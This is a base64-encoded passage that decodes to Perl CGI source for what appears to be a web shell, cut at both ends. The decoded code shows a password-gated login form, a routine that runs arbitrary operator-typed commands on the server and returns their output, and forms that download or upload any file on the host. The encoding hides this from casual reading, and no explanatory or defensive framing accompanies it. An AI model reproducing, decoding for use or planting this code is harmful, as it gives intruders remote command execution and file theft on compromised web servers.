29kZT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIGZvciBsb2dnaW5nIGluDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dpbkZvcm0NCnsNCglwcmludCA8PEVORDsNCjxjb2RlPg0KDQo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+DQo8L2ZvbnQ+DQo8Zm9udCBzaXplPSIzIj4NCmxvZ2luOiA8YiBzdHlsZT0iY29sb3I6YmxhY2s7YmFja2dyb3VuZC1jb2xvcjojZmZmZjY2Ij48L2I+PGJyPg0KcGFzc3dvcmQ6PC9mb250Pjxmb250IGNvbG9yPSIjMDA5OTAwIiBzaXplPSIzIj48aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InAiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCjwvY29kZT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgZm9vdGVyIGZvciB0aGUgSFRNTCBQYWdlDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRQYWdlRm9vdGVyDQp7DQoJcHJpbnQgIjwvZm9udD48L2JvZHk+PC9odG1sPiI7DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUmV0cmVpdmVzIHRoZSB2YWx1ZXMgb2YgYWxsIGNvb2tpZXMuIFRoZSBjb29raWVzIGNhbiBiZSBhY2Nlc3NlcyB1c2luZyB0aGUNCiMgdmFyaWFibGUgJENvb2tpZXN7Jyd9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgR2V0Q29va2llcw0Kew0KCUBodHRwY29va2llcyA9IHNwbGl0KC87IC8sJEVOVnsnSFRUUF9DT09LSUUnfSk7DQoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2llcykNCgl7DQoJCSgkaWQsICR2YWwpID0gc3BsaXQoLz0vLCAkY29va2llKTsNCgkJJENvb2tpZXN7JGlkfSA9ICR2YWw7DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgc2NyZWVuIHdoZW4gdGhlIHVzZXIgbG9ncyBvdXQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ291dFNjcmVlbg0Kew0KCXByaW50ICI8Y29kZT5Db25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj48L2NvZGU+IjsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBMb2dzIG91dCB0aGUgdXNlciBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGxvZ2luIGFnYWluDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUGVyZm9ybUxvZ291dA0Kew0KCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD07XG4iOyAjIHJlbW92ZSBwYXNzd29yZCBjb29raWUNCgkmUHJpbnRQYWdlSGVhZGVyKCJwIik7DQoJJlByaW50TG9nb3V0U2NyZWVuOw0KDQoJJlByaW50TG9naW5TY3JlZW47DQoJJlByaW50TG9naW5Gb3JtOw0KCSZQcmludFBhZ2VGb290ZXI7DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gbG9naW4gdGhlIHVzZXIuIElmIHRoZSBwYXNzd29yZCBtYXRjaGVzLCBpdA0KIyBkaXNwbGF5cyBhIHBhZ2UgdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gcnVuIGNvbW1hbmRzLiBJZiB0aGUgcGFzc3dvcmQgZG9lbnMndA0KIyBtYXRjaCBvciBpZiBubyBwYXNzd29yZCBpcyBlbnRlcmVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXINCiMgdG8gbG9naW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQZXJmb3JtTG9naW4gDQp7DQoJaWYoJExvZ2luUGFzc3dvcmQgZXEgJFBhc3N3b3JkKSAjIHBhc3N3b3JkIG1hdGNoZWQNCgl7DQoJCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD0kTG9naW5QYXNzd29yZDtcbiI7DQoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsNCgkJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJfQ0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoInAiKTsNCgkJJlByaW50TG9naW5TY3JlZW47DQoJCWlmKCRMb2dpblBhc3N3b3JkIG5lICIiKSAjIHNvbWUgcGFzc3dvcmQgd2FzIGVudGVyZWQNCgkJew0KCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOw0KDQoJCX0NCgkJJlByaW50TG9naW5Gb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBjb21tYW5kcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0NCnsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsNCglwcmludCA8PEVORDsNCjxjb2RlPg0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0KJFByb21wdA0KPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImMiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCjwvY29kZT4NCg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gZG93bmxvYWQgZmlsZXMNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludEZpbGVEb3dubG9hZEZvcm0NCnsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsNCglwcmludCA8PEVORDsNCjxjb2RlPg0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImRvd25sb2FkIj4NCiRQcm9tcHQgZG93bmxvYWQ8YnI+PGJyPg0KRmlsZW5hbWU6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4NCkRvd25sb2FkOiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPg0KPC9mb3JtPg0KPC9jb2RlPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gdXBsb2FkIGZpbGVzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRGaWxlVXBsb2FkRm9ybQ0Kew0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkQ3VycmVudERpcl1cJCAiOw0KCXByaW50IDw8RU5EOw0KPGNvZGU+DQoNCjxmb3JtIG5hbWU9ImYiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KJFByb21wdCB1cGxvYWQ8YnI+PGJyPg0KRmlsZW5hbWU6IDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4NCk9wdGlvbnM6ICZuYnNwOzxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibyIgdmFsdWU9Im92ZXJ3cml0ZSI+DQpPdmVyd3JpdGUgaWYgaXQgRXhpc3RzPGJyPjxicj4NClVwbG9hZDombmJzcDsmbmJzcDsmbmJzcDs8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJ1cGxvYWQiPg0KPC9mb3JtPg0KPC9jb2RlPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdGltZW91dCBmb3IgYSBjb21tYW5kIGV4cGlyZXMuIFdlIG5lZWQgdG8NCiMgdGVybWluYXRlIHRoZSBzY3JpcHQgaW1tZWRpYXRlbHkuIFRoaXMgZnVuY3Rpb24gaXMgdmFsaWQgb25seSBvbiBVbml4LiBJdCBpcw0KIyBuZXZlciBjYWxsZWQgd2hlbiB0aGUgc2NyaXB0IGlzIHJ1bm5pbmcgb24gTlQuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQ29tbWFuZFRpbWVvdXQNCnsNCglpZighJFdpbk5UKQ0KCXsNCgkJYWxhcm0oMCk7DQoJCXByaW50IDw8RU5EOw0KPC94bXA+DQoNCjxjb2RlPg0KQ29tbWFuZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25kKHMpLg0KPGJyPktpbGxlZCBpdCENCkVORA0KCQkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgkJZXhpdDsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gZXhlY3V0ZSBjb21tYW5kcy4gSXQgZGlzcGxheXMgdGhlIG91dHB1dCBvZiB0aGUNCiMgY29tbWFuZCBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGFub3RoZXIgY29tbWFuZC4gVGhlIGNoYW5nZSBkaXJlY3RvcnkNCiMgY29tbWFuZCBpcyBoYW5kbGVkIGRpZmZlcmVudGx5LiBJbiB0aGlzIGNhc2UsIHRoZSBuZXcgZGlyZWN0b3J5IGlzIHN0b3JlZCBpbg0KIyBhbiBpbnRlcm5hbCB2YXJpYWJsZSBhbmQgaXMgdXNlZCBlYWNoIHRpbWUgYSBjb21tYW5kIGhhcyB0byBiZSBleGVjdXRlZC4gVGhlDQojIG91dHB1dCBvZiB0aGUgY2hhbmdlIGRpcmVjdG9yeSBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQgdG8gdGhlIHVzZXJzDQojIHRoZXJlZm9yZSBlcnJvciBtZXNzYWdlcyBjYW5ub3QgYmUgZGlzcGxheWVkLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEV4ZWN1dGVDb21tYW5kDQp7DQoJaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqY2RccysoLispLykgIyBpdCBpcyBhIGNoYW5nZSBkaXIgY29tbWFuZA0KCXsNCgkJIyB3ZSBjaGFuZ2UgdGhlIGRpcmVjdG9yeSBpbnRlcm5hbGx5LiBUaGUgb3V0cHV0IG9mIHRoZQ0KCQkjIGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZC4NCgkJDQoJCSRPbGREaXIgPSAkQ3VycmVudERpcjsNCgkJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAkMSIuJENtZFNlcC4kQ21kUHdkOw0KCQljaG9wKCRDdXJyZW50RGlyID0gYCRDb21tYW5kYCk7DQoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsNCgkJJFByb21wdCA9ICRXaW5OVCA/ICIkT2xkRGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJE9sZERpcl1cJCAiOw0KCQlwcmludCAiJFByb21wdCAkUnVuQ29tbWFuZCI7DQoJfQ0KCWVsc2UgIyBzb21lIG90aGVyIGNvbW1hbmQsIGRpc3BsYXkgdGhlIG91dHB1dA0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigiYyIpOw0KCQkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsNCgkJcHJpbnQgIiRQcm9tcHQgJFJ1bkNvbW1hbmQ8eG1wPiI7DQoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4kUnVuQ29tbWFuZC4kUmVkaXJlY3RvcjsNCgkJaWYoISRXaW5OVCkNCgkJew0KCQkJJFNJR3snQUxSTSd9ID0gXCZDb21tYW5kVGltZW91dDsNCgkJCWFsYXJtKCRDb21tYW5kVGltZW91dER1cmF0aW9uKTsNCgkJfQ0KCQlpZigkU2hvd0R5bmFtaWNPdXRwdXQpICMgc2hvdyBvdXRwdXQgYXMgaXQgaXMgZ2VuZXJhdGVkDQoJCXsNCgkJCSR8PTE7DQoJCQkkQ29tbWFuZCAuPSAiIHwiOw0KCQkJb3BlbihDb21tYW5kT3V0cHV0LCAkQ29tbWFuZCk7DQoJCQl3aGlsZSg8Q29tbWFuZE91dHB1dD4pDQoJCQl7DQoJCQkJJF8gPX4gcy8oXG58XHJcbikkLy87DQoJCQkJcHJpbnQgIiRfXG4iOw0KCQkJfQ0KCQkJJHw9MDsNCgkJfQ0KCQllbHNlICMgc2hvdyBvdXRwdXQgYWZ0ZXIgY29tbWFuZCBjb21wbGV0ZXMNCgkJew0KCQkJcHJpbnQgYCRDb21tYW5kYDsNCgkJfQ0KCQlpZighJFdpbk5UKQ0KCQl7DQoJCQlhbGFybSgwKTsNCgkJfQ0KCQlwcmludCAiPC94bXA+IjsNCgl9DQoJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJJlByaW50UGFnZUZvb3RlcjsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGRpc3BsYXlzIHRoZSBwYWdlIHRoYXQgY29udGFpbnMgYSBsaW5rIHdoaWNoIGFsbG93cyB0aGUgdXNlcg0KIyB0byBkb3dubG9hZCB0aGUgc3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gNCiMgZmVhdHVyZSB0aGF0IHN0YXJ0cyB0aGUgZG93bmxvYWQgYXV0b21hdGljYWxseS4NCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIGZpbGVuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludERvd25sb2FkTGlua1BhZ2UNCnsNCglsb2NhbCgkRmlsZVVybCkgPSBAXzsNCglpZigtZSAkRmlsZVVybCkgIyBpZiB0aGUgZmlsZSBleGlzdHMNCgl7DQoJCSMgZW5jb2RlIHRoZSBmaWxlIGxpbmsgc28gd2UgY2FuIHNlbmQgaXQgdG8gdGhlIGJyb3dzZXINCgkJJEZpbGVVcmwgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOw0KCQkkRG93bmxvYWRMaW5rID0gIiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmY9JEZpbGVVcmwmbz1nbyI7DQoJCSRIdG1sTWV0YUhlYWRlciA9ICI8bWV0YSBIVFRQLUVRVUlWPVwiUmVmcmVzaFwiIENPTlRFTlQ9XCIxOyBVUkw9JERvd25sb2FkTGlua1wiPiI7DQoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsNCgkJcHJpbnQgPDxFTkQ7DQo8Y29kZT4NCg0KU2VuZGluZyBGaWxlICRUcmFuc2ZlckZpbGUuLi48YnI+DQpJZiB0aGUgZG93bmxvYWQgZG9lcyBub3Qgc3RhcnQgYXV0b21hdGljYWxseSwNCjxhIGhyZWY9IiREb3dubG9hZExpbmsiPkNsaWNrIEhlcmU8L2E+Lg0KRU5EDQoJCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCX0NCgllbHNlICMgZmlsZSBkb2Vzbid0IGV4aXN0DQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7DQoJCXByaW50ICJGYWlsZWQgdG8gZG93bmxvYWQgJEZpbGVVcmw6ICQhIjsNCgkJJlByaW50RmlsZURvd25sb2FkRm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJvbSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlDQojIGJyb3dzZXIsIHNvIHRoYXQgaXQgY2FuIGJlIGRvd25sb2FkZWQgYnkgdGhlIHVzZXIuDQojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBzZW50Lg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFNlbmRGaWxlVG9Ccm93c2VyDQp7DQoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOw0KCWlmKG9wZW4oU0VOREZJTEUsICRTZW5kRmlsZSkpICMgZmlsZSBvcGVuZWQgZm9yIHJlYWRpbmcNCgl7DQoJCWlmKCRXaW5OVCkNCgkJew0KCQkJYmlubW9kZShTRU5ERklMRSk7DQoJCQliaW5tb2RlKFNURE9VVCk7DQoJCX0NCgkJJEZpbGVTaXplID0gKHN0YXQoJFNlbmRGaWxlKSlbN107DQoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsNCgkJcHJpbnQgIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC11bmtub3duXG4iOw0KCQlwcmludCAiQ29udGVudC1MZW5ndGg6ICRGaWxlU2l6ZVxuIjsNCgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7DQoJCXByaW50IHdoaWxlKDxTRU5ERklMRT4pOw0KCQljbG9zZShTRU5ERklMRSk7DQoJfQ0KCWVsc2UgIyBmYWlsZWQgdG8gb3BlbiBmaWxlDQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7DQoJCXByaW50ICJGYWlsZWQgdG8gZG93bmxvYWQgJFNlbmRGaWxlOiAkISI7DQoJCSZQcmludEZpbGVEb3dubG9hZEZvcm07DQoNCgkJJlByaW50UGFnZUZvb3RlcjsNCgl9DQp9DQoNCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIGRvd25sb2FkcyBhIGZpbGUuIEl0IGRpc3BsYXlzIGEgbWVzc2FnZQ0KIyB0byB0aGUgdXNlciBhbmQgcHJvdmlkZXMgYSBsaW5rIHRocm91Z2ggd2hpY2ggdGhlIGZpbGUgY2FuIGJlIGRvd25sb2FkZWQuDQojIFRoaXMgZnVuY3Rpb24gaXMgYWxzbyBjYWxsZWQgd2hlbiB0aGUgdXNlciBjbGlja3Mgb24gdGhhdCBsaW5rLiBJbiB0aGlzIGNhc2UsDQojIHRoZSBmaWxlIGlzIHJlYWQgYW5kIHNlbnQgdG8gdGhlIGJyb3dzZXIuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQmVnaW5Eb3dubG9hZA0Kew0KCSMgZ2V0IGZ1bGx5IHF1YWxpZmllZCBwYXRoIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQNCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwNCgkJKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlDQoJew0KCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7DQoJfQ0KCWVsc2UgIyBwYXRoIGlzIHJlbGF0aXZlDQoJew0KCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOw0KCQkkVGFyZ2V0RmlsZSAuPSAkUGF0aFNlcC4kVHJhbnNmZXJGaWxlOw0KCX0NCg0KCWlmKCRPcHRpb25zIGVxICJnbyIpICMgd2UgaGF2ZSB0byBzZW5kIHRoZSBmaWxlDQoJew0KCQkmU2VuZEZpbGVUb0Jyb3dzZXIoJFRhcmdldEZpbGUpOw0KCX0NCgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQ0KCXsNCgkJJlByaW50RG93bmxvYWRMaW5rUGFnZSgkVGFyZ2V0RmlsZSk7DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZS4gSWYgdGhlDQojIGZpbGUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQ0KIyBmaWxlLCBvdGhlcndpc2UgaXQgc3RhcnRzIHRoZSB1cGxvYWQgcHJvY2Vzcy4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBVcGxvYWRGaWxlDQp7DQoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIHVwbG9hZCBmb3JtIGFnYWluDQoJaWYoJFRyYW5zZmVyRmlsZSBlcSAiIikNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsNCgkJJlByaW50RmlsZVVwbG9hZEZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJCXJldHVybjsNCgl9DQoJJlByaW50UGFnZUhlYWRlcigiYyIpOw0KDQoJIyBzdGFydCB0aGUgdXBsb2FkaW5nIHByb2Nlc3MNCglwcmludCAiVXBsb2FkaW5nICRUcmFuc2ZlckZpbGUgdG8gJEN1cnJlbnREaXIuLi48YnI+IjsNCg0KCSMgZ2V0IHRoZSBmdWxsbHkgcXVhbGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGNyZWF0ZWQNCgljaG9wKCRUYXJnZXROYW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsNCgkkVHJhbnNmZXJGaWxlID1+IG0hKFteL15cXF0qKSQhOw0KCSRUYXJnZXROYW1lIC49ICRQYXRoU2VwLiQxOw0KDQoJJFRhcmdldEZpbGVTaXplID0gbGVuZ3RoKCRpbnsnZmlsZWRhdGEnfSk7DQoJIyBpZiB0aGUgZmlsZSBleGlzdHMgYW5kIHdlIGFyZSBub3Qgc3VwcG9zZWQgdG8gb3ZlcndyaXRlIGl0DQoJaWYoLWUgJ